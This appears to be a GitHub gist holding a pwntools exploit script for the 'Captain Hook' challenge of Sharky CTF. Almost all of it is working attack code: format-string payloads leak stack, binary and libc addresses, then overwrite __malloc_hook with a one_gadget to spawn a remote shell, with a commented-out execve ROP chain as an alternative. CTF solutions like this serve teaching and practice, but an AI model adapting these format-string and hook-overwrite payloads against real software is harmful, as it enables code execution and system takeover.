Skip to content

Instantly share code, notes, and snippets.

@Creased
Created May 11, 2020 06:55
Show Gist options
  • Save Creased/75f74991c0d3c587620cda0aa13fec32 to your computer and use it in GitHub Desktop.
Save Creased/75f74991c0d3c587620cda0aa13fec32 to your computer and use it in GitHub Desktop.
Sharky CTF - Captain Hook
from pwn import *
context.clear(arch='amd64', log_level='info')
PROMPT = b'peterpan@pwnuser:~$ '
LOCAL = False
p = None
def create_process():
global p
if LOCAL:
p = process('./captain_hook')
else:
p = remote('sharkyctf.xyz', 20336)
def recv_menu(timeout=1):
res = p.recvuntil(PROMPT, timeout=timeout)
return res
def list_users():
p.sendline(b'1')
return recv_menu()
def create_user(index, name, age, date):
p.sendline(b'2')
p.recvuntil(b'[ Character index ]: ')
p.sendline(index)
p.recvuntil(b'Name: ')
p.sendline(name)
p.recvuntil(b'Age: ')
p.sendline(age)
p.recvuntil(b'Date (mm/dd/yyyy): ')
p.sendline(date)
return recv_menu()
def read_user(index, timeout=1):
p.sendline(b'3')
p.recvuntil(b'[ Character index ]: ')
p.sendline(index)
return recv_menu(timeout)
def edit_user(index, name, age, date):
p.sendline(b'4')
p.recvuntil(b'[ Character index ]: ')
p.sendline(index)
p.recvuntil(b'Name: ')
p.sendline(name)
p.recvuntil(b'Age: ')
p.sendline(age)
p.recvuntil(b'Date (mm/dd/yyyy): ')
p.sendline(date)
return recv_menu()
def free_user(index):
p.sendline(b'5')
p.recvuntil(b'[ Character index ]: ')
p.sendline(index)
return recv_menu()
def send_payload(payload, lpad=b''):
print(payload)
edit_user(b'1', lpad + payload, b'0', date)
res = read_user(b'1').split(b'\n')[-2]
return res
def write(what, where):
what_p1 = what & 0xffff
what_p2 = (what >> 16) & 0xffff
what_p3 = (what >> 32) & 0xffff
if what_p1 > 0:
payload = b''
payload += f'%{what_p1-0xb}c%11$hn'.encode('latin-1')
payload += p64(where)
res = send_payload(payload, lpad=b'B'*11)
if what_p2 > 0:
payload = b''
payload += f'%{what_p2-0xb}c%11$hn'.encode('latin-1')
payload += p64(where+2)
res = send_payload(payload, lpad=b'B'*11)
if what_p3 > 0:
payload = b''
payload += f'%{what_p3-0xb}c%11$hn'.encode('latin-1')
payload += p64(where+4)
res = send_payload(payload, lpad=b'B'*11)
def read(where):
payload = b''
payload += f'%{0xffff}c%11$s|'.encode('latin-1')
payload += p64(where)
res = send_payload(payload, lpad=b'B'*11).split(date)[-1][0xf:].strip(b'\x20').split(b'|')[0][1:]
return res
elf = ELF('./captain_hook')
if LOCAL:
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
libc = ELF('./libc-2.27.so')
date = b'01/01/1970'
# create process.
create_process()
recv_menu()
# create a dumb user.
create_user(b'1', b'A', b'0', date)
# overwrite the name of the user to leak the stack.
payload = b''
payload += f'%{0xffff}c%1$pp'.encode('latin-1')
payload += b'ABCDEFGH'
stack_leak = int(send_payload(payload, lpad=b'B'*11).split(date)[-1].strip(b'.')[-0xff:].split(b'0x')[1].split(b'p')[0], 16)
stack_base = stack_leak - (stack_leak & 0xfff) - 0x1d000
print(hex(stack_leak))
log.info(f'stack_base: 0x{stack_base:x}')
# Leak the binary base.
payload = b''
payload += f'%{0xffff}c%15$pp'.encode('latin-1')
payload += b'ABCDEFGH'
bin_leak = int(send_payload(payload, lpad=b'B'*11).split(date)[-1].strip(b'.')[-0xff:].split(b'0x')[1].split(b'p')[0], 16)
elf.address = bin_leak - 0x135a
log.info(f'bin_base: 0x{elf.address:x}')
# Leak the libc base.
payload = b''
payload += f'%{0xffff}c%11$s|'.encode('latin-1')
payload += p64(elf.got['printf'])
libc_leak = send_payload(payload, lpad=b'B'*11).split(date)[-1][0xf:].strip(b'\x20').split(b'|')[0][1:]
libc_leak = u64(libc_leak[:libc_leak.find(b'\x7f')+1].ljust(8, b'\0'))
libc.address = libc_leak - libc.sym['printf']
log.info(f'libc_base: 0x{libc.address:x}')
# resolve libc symbols
str_binsh = next(libc.search(b'/bin/sh'))
print('/bin/sh?', read(str_binsh))
if LOCAL:
add_rsp_d8 = libc.address + 0x3fc73 # add rsp, 0xd8 ; ret
pop_rdi = libc.address + 0x1fc6a
pop_rsi = libc.address + 0x1fc1a
else:
add_rsp_d8 = libc.address + 0x4fd80 # add rsp, 0xd8 ; ret
pop_rdi = libc.address + 0x2155f
pop_rsi = libc.address + 0x23e6a
# write the ROP on the stack and wait for the malloc hook to return to it (stack lifting).
#payload = []
#payload += [pop_rdi]
#payload += [str_binsh]
#payload += [pop_rsi]
#payload += [str_binsh+5]
#payload += [libc.sym['execve']]
# for i in range(len(payload)):
# write(payload[i], (stack_leak - 0x5c0) + (i*4))
# # sleep(1)
# OR
# use a one_gadget and pop a shell directly \o/.
if LOCAL:
one_gadget = libc.address + 0xd6b9f
else:
one_gadget = libc.address + 0x10a38c
write(one_gadget, libc.sym['__malloc_hook'])
# Trig __malloc_hook
input('Press enter to trig __malloc_hook\n')
# get the response without waiting for the menu.
edit_user(b'1', b'B'*11 + b'%65537c', b'0', date)
read_user(b'1')
p.interactive()
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment